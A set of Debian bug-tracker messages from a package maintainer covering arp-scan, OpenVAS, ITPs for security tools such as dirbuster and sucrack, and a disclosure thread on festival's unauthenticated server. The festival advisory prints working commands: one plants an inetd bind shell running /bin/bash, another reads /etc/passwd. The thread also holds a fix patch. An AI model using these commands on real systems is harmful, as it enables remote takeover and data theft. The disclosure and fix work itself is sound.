Bug#631213: O: arp-scan -- arp scanning and fingerprinting tool
On Tuesday 21 June 2011 15:56:10 Rene Mayorga wrote: Package: wnpp Severity: normal The current maintainer of arp-scan, Tim Brown t...@nth-dimension.org.uk, is apparently not active anymore. Therefore, I orphan this package now. Maintaining a package requires time and skills. Please only adopt this package if you will have enough time and attention to work on it. If you want to be the new maintainer, please see http://www.debian.org/devel/wnpp/index.html#howto-o for detailed instructions how to adopt a package properly. To coin a phrase, I am not dead, just sleeping. The current version of arp- scan in Debian is functionally complete IMO. There are some open bugs however a lack of any pressing need to upgrade the version in Debian, along with the loss of contact with my original sponsor lead to the neglect of the package for too long. If other people are interested in (co-)maintaining it then great but I'm more than happy to continue. FWIW of the 3 ourstanding bugs 1 relates to the release of 1.7 (which didn't IMO add any pressing features) and 1 related to a change to support a shared OUI database (which floundered with a lack of interest from all packagers not just myself). The 3rd was only filed last week and is one that I could fix fairly quickly if I had a sponsor. Tim -- Tim Brown mailto:t...@nth-dimension.org.uk http://www.nth-dimension.org.uk/ signature.asc Description: This is a digitally signed message part.
Bug#570621: Parsing output = derivative work? (was: RFS: gnetworktester)
--nextPart2958378.qgascxSZ95 Content-Type: Text/Plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable On Sunday 06 March 2011 11:04:35 W. Martin Borgert wrote: (out of curiosity moved to debian-legal) =20 On 2011-03-05 23:46, Timo Juhani Lindfors wrote: gnetworktester seems to parse the output of nmap and nmap upstream at http://insecure.org/nmap/data/COPYING gives me the impression that gnetworktester would thus be derivative work. =20 IANAL, but since when parsing the output of another program constitutes a derivative work? Indeed, the forementioned file says, a program would be a derivate in the authors interpretation of the GPL, if it =20 o Executes Nmap and parses the results (as opposed to typical shell or execution-menu apps, which simply display raw Nmap output and so are not derivative works.) o Integrates/includes/aggregates Nmap into a proprietary executable installer, such as those produced by InstallShield. o Links to a library or executes a program that does any of the above =20 What do the legal experts think about this, especially the parsing aspect? This may fall outside of the Debian maintainer's role as a packager but you= =20 could take a look at how OpenVAS does this since we (the OpenVAS project)=20 worked hard with Fyodor and the nmap folk to get something both we and they= =20 feel comfortable with. I can probably dig out some references from our and= =20 their mailing lists too if necessary. Tim =2D-=20 Tim Brown mailto:t...@65535.com --nextPart2958378.qgascxSZ95 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) iQIcBAABCAAGBQJNc+tvAAoJEPJhpTVyySo7k1UP/i4Xr6vqjg/vMxS204g4m3jT mFa2dS9R3xPuDd30+DjM+9BRjuy1Tn+PnrjS4n3zCu3bABkU3J6qINj4hWjPJXIE EVPrcSi+bkBKgckY76qe83MhnA8j7YXIfDJX+O/lh0AqwVEgyI1T6dC0RbTXBvWD fE4Nz9hnCa7k4JWcyM4oXxrtBXGTDnshrZSGKerSW2633Grlm4/6zkAxR/1ET9C7 i4jJg5sWMWK+IX5qf1Piaot7DKKNb8RG0nFQ38PSyJacjsusJOyS2hzaF+TFIAcN n/drnXovRO1G9j2jzWxJJ4ng6zED9+uOEaXmm2zwPa8kpVqF50wbYeNYhM9nEqYv ffv4xY6vV3KW5SDWOfXYEkDJBjxPn3xMDAiwUF2627e8my+PEsrLQqQwiwj3D+4H IgMZl1CZBoaHvifrDfWeXYltC5o+iY0PLtIXamLIhG/1zV0T4xqZrNYQ06iA43Ze mT6eUR6p0vENqHNS1FXnfUxT2V/YwNDc2Wa1Pw8SfFzzahtjKyVqA0VprjMxFpLq TL9NL63SwoPEQqD48FRMDysB33lRcu/40Io6Lhx5dIHJ6zZPUTaqb91b1/NOxuw1 41dkKuexmZjYT4Vpg3roolHh5mki5AmqpFEgbPUM1iRHRmK9VZwQcYTPwwRjBfRq sXXUPqLzRl5LEpsFjpvc =Ebhq -END PGP SIGNATURE- --nextPart2958378.qgascxSZ95-- -- Tim Brown mailto:deb...@machine.org.uk http://www.machine.org.uk/ signature.asc Description: This is a digitally signed message part.
Bug#299007: Insecure PATH in /root/.profile
On Monday 31 January 2011 09:38:42 Thijs Kinkhorst wrote: On Sun, January 30, 2011 20:46, Russ Allbery wrote: Philipp Kern pk...@debian.org writes: The tech-ctte did decide on that matter. What's the progress on this bug now? Is there any action taken as a consequence of it? It's waiting for someone to do the work required to come up with a transition plan. No one so far has had time and interest to work on it. The details of what needs to be done at a high level are covered in the open Policy bug. Tim Brown t...@nth-dimension.org.uk ([machine] on IRC) showed recent interest to work on this for wheezy, and I pointed him to the relevant policy bug. I am indeed interested in getting this bug and related bugs solved for wheezy. I'm going to start off by generating a list of packages that are currently affected and then the hard work begins. Tim -- Tim Brown mailto:t...@nth-dimension.org.uk http://www.nth-dimension.org.uk/ signature.asc Description: This is a digitally signed message part.
Bug#597312: [Openvas-distro-deb] Bug#597312: openvas-server: [INTL:it] Italian translation of the debconf templates
On Saturday 18 September 2010 16:52:22 Vincenzo Campanella wrote: Package: openvas-server Version: 2.0.3-3 Severity: wishlist Tags: l10n patch Enclosed please find the updated Italian translation of the Debconf template. This has been committed to trunk. Tim -- Tim Brown mailto:t...@nth-dimension.org.uk http://www.nth-dimension.org.uk/ signature.asc Description: This is a digitally signed message part.
Bug#525975: Fwd: Re: Duplicate bug
As per a suggestion on #debian-mentors I've noted that the same bug was filed upstream by me (http://bugs.kde.org/show_bug.cgi?id=204849) and that I have submitted a patch on the upstream bug to fix the described problem. Tim -- Tim Brown mailto:t...@nth-dimension.org.uk http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#481297: Bug#481296: Bug#481297: any progress on oui.txt unification?
On Tuesday 17 February 2009 19:48:29 Filippo Giunchedi wrote: On Tue, Feb 17, 2009 at 08:13:12PM +0100, Jan Wagner wrote: Hi there, On Tuesday 17 February 2009, Ola Lundqvist wrote: No progress so far. I must admit that I have not put in that much effort on it either. dito! I'm open to include any usefull patch regarding this. Dunno how to solve the whole problem, maybe with a package just including the file? I would go for a package as well, perhaps installing in /usr/share/misc/ the unparsed oui.txt plus other parsed versions which might be useful. Bonus points for a getoui script which downloads and updates both the full file and the parsed ones. If there's anyone interested keep me in the loop. arp-scan has said updater script... at the time the bug was files I contacted the upstream for it and he was vauguely interested in splitting it out.. but noone else seemed massively fussed so I didn't push the matter. Tim -- Tim Brown mailto:t...@nth-dimension.org.uk http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#491114: Work around confirmation
/etc/udev/rules.d/65_dmsetup.rules needs to be changed so that the three first lines all have GOTO=device_mapper_end. Confirmed that this resolves the problem. Cheers, Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#481296: Please coordinate the oui.txt file at some common shared place
Are there other packages which also include oui.txt? If you can tell me who I need to be talking to, I am more than happy to investigate sharing the file. Currently, the package uses get-oui and get-iab which is provided by upstream. Note that I am in contact with upstream and will probably work with them to resolve the issue there. Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#481296: Please coordinate the oui.txt file at some common shared place
Guys, As maintainer of arp-scan I recently received a bug report for this packaging asking for oui.txt to be centrally maintained and shared between all packages that use it. I have copied you in as you're the folk responsible for other such packages as well as the upstream developer of arp-scan itself. The submitter would like to see something such as update-pciids which could be shared between all of us. If you examine arp-scan you will notice it has two scripts, get-iab and get-oui which would largely (with some hacking provide the required functionality), would you be interested in making this feature request happen? Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#480578: irpas Build-Depends incorrect?
Package: irpas Version: 0.10-4 Severity: important Justification: fails to build from source irpas now requires Build-Depends libpcap0.7-dev, rather than libpcap-dev. When this change is made, it will then build on amd64. -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 2.6.24-1-amd64 (SMP w/2 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages irpas depends on: ii libc6 2.7-10 GNU C Library: Shared libraries ii libpcap0.70.7.2-9System interface for user-level pa irpas recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#466146: festival: Default configuration allows unauthenticated remote code execution
On Tuesday 19 February 2008 20:12:29 Nico Golde wrote: It probably also needs rewording since SuSE confirmed it affected them and I think we agree it affects Debian. How do we go about doing that - is that something for you guys or do I need to get involved? I see your point, I will contact mitre to update the CVE id or to assign a new one. No news from MITRE? At least their CVE entry doesn't appear to be updated. I guess they will happily release a DSA if someone comes up and provides a fixed stable package that just works. I've attached a patch that I think resolves this issue on stable - no warranties. Just wanted to make this final email as I'm intending to release my advisory shortly subject to any updates here. Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ diff -rN festival-1.4.3/debian/changelog festival-1.4.3-new/debian/changelog 0a1,18 festival (1.4.3-17.3) unstable; urgency=high * Fix root security hole. Thanks to Tim Brown. + debian/festival.init: Read festival.scm upon start. (Closes: #466146) * debian/festival.scm: + Add sane default values for server. The festival init script now uses these values while starting the server. * debian/README.Debian: + Document some changes on daemon mode. * debian/templates, debian/config, debian/festival.postinst: + Ask for server password during install. * debian/lintian-override: + Permission of /etc/festival.scm should be 0600. -- Tim Brown [EMAIL PROTECTED] Sat, 01 Mar 2008 12:40:33 + diff -rN festival-1.4.3/debian/config festival-1.4.3-new/debian/config 0a1,20 #!/bin/sh -e # Source debconf library. . /usr/share/debconf/confmodule # grab selected config values from the config file and store them # in debconf's database # first grab existing value (keep config file's existing value) CONFIG_FILE=/etc/festival.scm # to help security, let password be entered afresh each time # (and don't display the value left in the debconf database of # password written to config file) db_set festival/server_passwd db_input critical festival/server_passwd || true db_go || true db_stop || true diff -rN festival-1.4.3/debian/festival.init festival-1.4.3-new/debian/festival.init 27c27 --exec $DAEMON -- --server --- --exec $DAEMON -- --server -b /etc/festival.scm 39c39 --exec $DAEMON -- --server --- --exec $DAEMON -- --server -b /etc/festival.scm diff -rN festival-1.4.3/debian/festival.postinst festival-1.4.3-new/debian/festival.postinst 0a1,50 #!/bin/sh set -e . /usr/share/debconf/confmodule # write selected values into config file CONFIG_FILE=/etc/festival.scm PASSWD_ENTRY=server_passwd PASSWD=your_festival_passwd db_get festival/server_passwd PASSWD=$RET # insert the entry, if it is missing (which it ought not to be) grep -Eq ^[[:blank:]]*\(set![[:blank:]][[:blank:]]*$PASSWD_ENTRY[[:blank:]] $CONFIG_FILE || \ echo (set! $PASSWD_ENTRY \$PASSWD\) $CONFIG_FILE # only process the password if it is not empty if [ $PASSWD ]; then # copy config file here in order to preserve permissions when actually # building the tmp file in the sed step cp -a -f $CONFIG_FILE $CONFIG_FILE.tmp # escape sed special characters #echo $PASSWD | sed -n 's|[\|\$\\.\*\%\^\+\?]|\\|g' PASSWD=$(echo $PASSWD | sed 's|[\[\(\)\|\$\\.\*\%\^\+\?\/]|\\|g') sed -e s/(set.[[:blank:]]\+$PASSWD_ENTRY.*)/(set! $PASSWD_ENTRY \$PASSWD\)/ \ $CONFIG_FILE $CONFIG_FILE.tmp mv -f $CONFIG_FILE.tmp $CONFIG_FILE # remove the password from the debconf database db_set festival/server_passwd password written to config file fi # extra safety check: ensure passwords in config file cannot be read by anyone chown nobody /etc/festival.scm chmod og-r $CONFIG_FILE # Supporta log file mkdir -p /var/log/festival touch /var/log/festival/festival.log chown nobody:audio /var/log/festival/festival.log # must indicate we are done with debconf, or the script will hang when the # server is started below (DEBHELPER section, via dh_installinit). db_stop #DEBHELPER# diff -rN festival-1.4.3/debian/festival.postrm festival-1.4.3-new/debian/festival.postrm 4a5,9 if [ $1 = purge ];then rm -rf /var/log/festival rm -f /etc/festival.scm fi diff -rN festival-1.4.3/debian/festival.scm festival-1.4.3-new/debian/festival.scm 3a4,23 ; Maximum number of clients on the server (set! server_max_clients 10) ; Server port (set! server_port 1314) ; Server password (set! server_passwd nil) ; Log file location (set! server_log_file /var/log/festival/festival.log) ; Server access list (hosts) ; Example: ; (set! server_access_list '([^.]+ 127.0.0.1 localhost.* 192.168.*)) ; Secure default: (set! server_access_list '([^.]+ 127.0.0.1 localhost)) ; Server deny list (hosts) diff -rN festival-1.4.3/debian/lintian.override festival-1.4.3-new/debian/lintian.override
Bug#466146: festival: Default configuration allows unauthenticated remote code execution
On Saturday 01 March 2008 14:44:01 Nico Golde wrote: Hi Tim, * Tim Brown [EMAIL PROTECTED] [2008-03-01 15:28]: On Tuesday 19 February 2008 20:12:29 Nico Golde wrote: It probably also needs rewording since SuSE confirmed it affected them and I think we agree it affects Debian. How do we go about doing that - is that something for you guys or do I need to get involved? I see your point, I will contact mitre to update the CVE id or to assign a new one. No news from MITRE? At least their CVE entry doesn't appear to be updated. Huh? which allows local and remote attackers to execute arbitrary commands Cheers Nico I saw that, but assumed it would reference Debian in some manner. After all Debian distributions (and derivatives including Ubuntu hardy) are/were exploitable. Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#466146: festival: Default configuration allows unauthenticated remote code execution
On Tue, 19 Feb 2008, Kumar Appaiah wrote: On Tue, Feb 19, 2008 at 12:16:14PM +0100, Nico Golde wrote: Hi Tim, this is somehow strange, this CVE id was already fixed in 1.4.3-21 referring to the security tracker (see bug #435445 for reference). Did this fix got lost somewhere in the package history? It appears that the troublesome issue of running festival as a less privileged user was handled in the last upload. However, what was not handled was the restriction of accesss to localhost by default, and the necessity to introduce a password for this purpose. The last upload, which Tim has checked a few times, introduces this feature, and thus, makes the security aspect a bit more complete. Hope this is fine. Thanks for the follow up. This is my impression too. Gentoo introduced localhost restrictions in their patch for the original issue, in addition to changing the init process of the server so that it run under its own privileges rather than root- they didn't add authentication though. The Debian patch only changed the init process of the server, which while preventing a full root compromise, did not prevent remote unauthenticated access. Looking at the previous bug history there was some discussion about disabling the system command too, but IMO this does little to fix the underlying problem of an unauthenticated scheme interpreter bound to a remote port with no ACLs or authentication. Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#466146: festival: Default configuration allows unauthenticated remote code execution
Nico, I've just notice that the security tracker http://security-tracker.debian.net/tracker/status/release/unstable has been updated for festival. However it is wrong. This bug *is* remotely exploitable (due to the afore mentioned lack of ACLs). Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#466146: festival: Default configuration allows unauthenticated remote code execution
On Tuesday 19 February 2008 19:20:23 Nico Golde wrote: * Tim Brown [EMAIL PROTECTED] [2008-02-19 20:08]: I've just notice that the security tracker http://security-tracker.debian.net/tracker/status/release/unstable has been updated for festival. However it is wrong. This bug *is* remotely exploitable (due to the afore mentioned lack of ACLs). Sure it is :) The remote exploitability status isn't set manually by us. This is extracted automatically from the NVD text http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-4074 which doesn't mention the word 'remote'. I think that's the reason. Patches welcome :) Okay, so the CVE entry is wrong (which probably explains why it wasn't correctly resolved by the maintainers when it was first looked at). It probably also needs rewording since SuSE confirmed it affected them and I think we agree it affects Debian. How do we go about doing that - is that something for you guys or do I need to get involved? Also, since we have a working patch for the issue on mentors what happens now. Can it go through as NMU? What about the backport to stable and testing? Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#466146: festival: Default configuration allows unauthenticated remote code execution
On Monday 18 February 2008 07:42:06 Kumar Appaiah wrote: Dear Tim, Many thanks for the constant support. The package should now be all right with this change, available at the same location. Not a problem - it seems to build cleanly now with no problems. I guess it can be pushed to unstable and backported to stable security. Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#466146: festival: Default configuration allows unauthenticated remote code execution
On Sunday 17 February 2008 16:23:37 Kumar Appaiah wrote: dget -x http://mentors.debian.net/debian/pool/main/f/festival/festival_1.96~beta-6. dsc Please note that I now use debconf to ask for the password to be entered. I have tested that the system works fine, but as this is my first debconf experience, a quick review would be appreciated, followed by upload, as this is a security bug. Kumar, I've just built it here. It is lintian clean and the patch provides the required security fix. However 2 small points, 1) The logging doesn't work as /var/log/festival isn't created (and owned by festival,audio) 2) Passwords are displayed by debconf rather than hiding them with *'s. I'm only a fellow maintainer, but I'm sure your mentor can provide appropriate feedback on these issues. Cheers, Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#466146: festival: Default configuration allows unauthenticated remote code execution
On Sunday 17 February 2008 16:23:37 Kumar Appaiah wrote: Please note that I now use debconf to ask for the password to be entered. I have tested that the system works fine, but as this is my first debconf experience, a quick review would be appreciated, followed by upload, as this is a security bug. Another thought, the fix will require backporting to stable so that it can go into the security updates. Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#466146: festival: Default configuration allows unauthenticated remote code execution
On Monday 18 February 2008 01:40:00 Kumar Appaiah wrote: On Sun, Feb 17, 2008 at 05:32:44PM +, Tim Brown wrote: I've just built it here. It is lintian clean and the patch provides the required security fix. However 2 small points, 1) The logging doesn't work as /var/log/festival isn't created (and owned by festival,audio) 2) Passwords are displayed by debconf rather than hiding them with *'s. I'm only a fellow maintainer, but I'm sure your mentor can provide appropriate feedback on these issues. First of all, many thanks for pointing out both these issues. I have solved both, and the fixed version is here: dget -x http://mentors.debian.net/debian/pool/main/f/festival/festival_1.96~beta-6. dsc Looks good apart from Lintian reporting: N: N: chown user.group is called in one of the maintainer scripts. The N: correct syntax is chown user:group. Using . as a separator is still N: supported by the GNU tools, but it will fail as soon as a system uses N: the . in user or group names. N: Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#466146: festival: Default configuration allows unauthenticated remote code execution
Package: festival Version: 1.96~beta-5 Severity: critical Tags: security Justification: root security hole Nth Dimension Security Advisory (NDSA20080215) Date: 15th February 2008 Author: Tim Brown mailto:[EMAIL PROTECTED] URL: http://www.nth-dimension.org.uk/ / http://www.machine.org.uk/ Product: Festival 1.96:beta July 2004 http://www.cstr.ed.ac.uk/projects/festival.html Vendor: Centre for Speech Technology Research, University of Edinburgh http://www.cstr.ed.ac.uk/ Risk: Medium Summary The Festival server is vulnerable to unauthenticated remote code execution. Further research indicates that this vulnerability has already been reported as a local privilege escalation against both the Gentoo and SuSE GNU/Linux distributions. The remote form of this vulnerability was identified in 1.96~beta-5 as distributed in Debian unstable. Technical Details The Festival server which can be started using festival --server is vulnerable to unauthenticated remote command execution due to the inclusion of a scheme interpreter. It is possible to make use of standard scheme functions in order to execute further code, like so: $ telnet 10.0.0.1 1314 Trying 10.0.0.1... Connected to 10.0.0.1. (system echo ' stream tcp nowait festival /bin/bash /bin/bash -i' /tmp/backdoor.conf; /usr/sbin/inetd /tmp/backdoor.conf) Connection closed by foreign host. Whilst this is the most trivial way that the vulnerability can be exploited the inclusion of a scheme interpreter available without authentication allows for other vectors of attack. Scheme functions such as SayText and tts (which reads a file on the vulnerable system) pose particular interest, for example: $ telnet 10.0.0.1 1314 Trying 10.0.0.1... Connected to 10.0.0.1. (tts /etc/passwd nil) Whilst it is acknowledged that the inclusion of the scheme interpreter in this manner is entirely intentional, the default unsecure state of the server could be exploited particularly where the user is unaware of the servers existance. Solutions In order to completely protect against the vulnerability (in the short term), Nth Dimension recommend turning off the server or filtering connections to the affected port using a host based firewall. The server itself can be secured by applying the patches located at http://bugs.gentoo.org/show_bug.cgi?id=170477. This includes applying a default configuration which limits access to localhost and setting an optional password which prevents unauthenticated access. -- System Information: Debian Release: lenny/sid APT prefers oldstable APT policy: (500, 'oldstable'), (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.22-3-686 (SMP w/2 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages festival depends on: ii adduser 3.105add and remove users and groups ii libaudiofile0 0.2.6-7 Open-source version of SGI's audio ii libc6 2.7-8GNU C Library: Shared libraries ii libesd0 0.2.36-3 Enlightened Sound Daemon - Shared ii libestools1.2 1:1.2.96~beta-2 Edinburgh Speech Tools Library ii libgcc1 1:4.3-20080202-1 GCC support library ii libncurses5 5.6+20080203-1 Shared libraries for terminal hand ii libstdc++6 4.3-20080202-1 The GNU Standard C++ Library v3 ii lsb-base3.1-24 Linux Standard Base 3.1 init scrip ii sgml-base 1.26 SGML infrastructure and SGML catal ii sysv-rc 2.86.ds1-53 System-V-like runlevel change mech Versions of packages festival recommends: ii festvox-kallpc16k [festival-v 1.4.0-5American English male speaker for -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#466146: festival: Default configuration allows unauthenticated remote code execution
On Sunday 17 February 2008 05:13:21 Kumar Appaiah wrote: tags 466146 pending thanks Hi! A package is ready for upload at mentors. Thanks for the report. If, after consulting my sponsor and some security people, I find that it is OK, it shall be uploaded. Kumar, Can I suggest that a password is set (perhaps take a look at the Debian MySQL server package which does something similar for the debian-sys-maint in the /etc/mysql/debian.cnf file). Limiting access to local hosts is an improvement, but as noted it does not guard against local privilege escalation attacks. Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#435456: ITP: openvas-client -- Remote network security auditor, the client
Package: wnpp Severity: wishlist Owner: Tim Brown [EMAIL PROTECTED] * Package name: openvas-client Version : 0.9.1 Upstream Author : OpenVAS [EMAIL PROTECTED] * URL : http://www.openvas.org/ * License : GPL Programming Lang: C Description : Remote network security auditor, the client The OpenVAS Security Scanner is a security auditing tool. It makes possible to test security modules in an attempt to find vulnerable spots that should be fixed. . It is made up of two parts: a server, and a client. The server/daemon, openvasd, is in charge of the attacks, whereas the client, OpenVAS-Client, provides the user a nice X11/GTK+ interface. . This package contains the GTK+ client, which exists in other forms and on other platforms, too. -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.18-4-686 (SMP w/2 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#433472: ITP: dirbuster -- Directory file brute forcing, with a twist
Package: wnpp Severity: wishlist Owner: Tim Brown [EMAIL PROTECTED] * Package name: dirbuster Version : 0.9.7 Upstream Author : James Fisher [EMAIL PROTECTED] * URL : http://sourceforge.net/projects/dirbuster/ * License : LGPL Programming Lang: Java Description : Directory file brute forcing, with a twist DirBuster is a multi threaded java application designed to brute force directories and files names on web/application servers. Often is the case now of what looks like a web server in a state of default installation is actually not, and has pages and applications hidden within. DirBuster attempts to find these -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.18 (SMP w/1 CPU core) Locale: LANG=en_GB, LC_CTYPE=en_GB (charmap=ISO-8859-1) Shell: /bin/sh linked to /bin/bash -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#433472: ITP: dirbuster -- Directory file brute forcing, with a twist
On Tuesday 17 July 2007 15:05:44 Steve Greenland wrote: Nitpick: multi-threaded. The description is taken directly from upstream. I will pass on your comment. Bigger pick: I *think* I understand what a directory brute forcing is from the context, but there's got to be a more explicit way of describing this package. In particular, think about what someone who wants this package might search for. There are lists, but they are licenced under a CC (:() license. I will probably add scripts to pull them directly from sourceforge.net. Does this package really have any non-cracker usefulness? If I'm the sys admin, then it's a lot easier for me to 'ls -R' and look at the configuration files to find what URLs might be in play. It's always questionable whether tools have non-cracker usefulness. I'm a penetration tester, so from my perspective yes. I guess the tool falls into the same bracket as nikto. Some legitimate use cases off the top of my head: * Cases where roles within an organisation are segregated - security teams do not always have root * Auditing embedded devices - the lists are generated from crawling the net, so are based on real file/directory names used by developers * Auditing dynamic applications where URLs don't necessarily map on to files * Auditing web server ACLs * Load testing - it can produce up to 6000 requests/second I'd also point out that this is an OWASP project. Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#415036: ITP: arp-scan -- arp scanning and fingerprinting tool
Package: wnpp Severity: wishlist Owner: Tim Brown [EMAIL PROTECTED] * Package name: arp-scan Version : 1.5 Upstream Author : Roy Hills [EMAIL PROTECTED] * URL : http://www.nta-monitor.com/tools/arp-scan/ * License : GPL Programming Lang: C Description : arp scanning and fingerprinting tool arp-scan is a command-line tool that uses the ARP protocol to discover and fingerprint IP hosts on the local network. It is available for Linux and BSD under the GPL licence. -- System Information: Debian Release: 4.0 APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18 Locale: LANG=en_GB, LC_CTYPE=en_GB (charmap=ISO-8859-1) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#414534: ITP: sucrack -- multithreaded su bruteforcer
On Monday 12 March 2007 18:25, Joerg Jaspert wrote: On 10956 March 1977, Tim Brown wrote: Why package it? Other than the practical uses outlined above, because having binaries on a system outside of the package management system is a PITA to keep track of / update and it makes building a new system very quick. Why do I need a package for this? If i am able to install a package I have access to the files john needs. If i dont have it I copy it from elsewhere as a static binary anyway. (You know, we dont love static binaries in debian packages) That's not strictly true - how do you audit ssh key phrases, or binaries which use an arbitrary obfuscation of the password in their user database? The advantage of this package is that it can drive anything which prompts you for a password, which allows more varied uses. TIm -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#414534: ITP: sucrack -- multithreaded su bruteforcer
Package: wnpp Severity: wishlist Owner: Tim Brown [EMAIL PROTECTED] * Package name: sucrack Version : 1.1 Upstream Author : Nico Leidecker [EMAIL PROTECTED] * URL : http://www.leidecker.info/ * License : GPL Programming Lang: C Description : multithreaded su bruteforcer sucrack is a multithreaded Linux/UNIX tool for cracking local user accounts via wordlist bruteforcing su -- System Information: Debian Release: 4.0 APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18 Locale: LANG=en_GB, LC_CTYPE=en_GB (charmap=ISO-8859-1) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#414534: ITP: sucrack -- multithreaded su bruteforcer
On Monday 12 March 2007 13:57, Marco d'Itri wrote: On Mar 12, Tim Brown [EMAIL PROTECTED] wrote: I'm packaging a bunch of security tools that I use in my job pen testing. I do not understand how you would use such a tool in packaged form. If you can install a package then obviously you already have root access, and at that point you can check the passwords strength by directly accessing /etc/shadow. It's built statically. Normally what happens, is that during an assessment, if a local account is compromised, then sucrack is copied across and an attack against root occurs. Additionally, because this tool doesn't rely on having access to the hashes, but actually drives su (or other tools), it can be used against for example custom encryption schemes that may be used by 3rd parties. I've also had it drive ssh-agent to audit key phrases too. Why package it? Other than the practical uses outlined above, because having binaries on a system outside of the package management system is a PITA to keep track of / update and it makes building a new system very quick. I can see this tool isn't for everyone, but then that probably goes for a large number 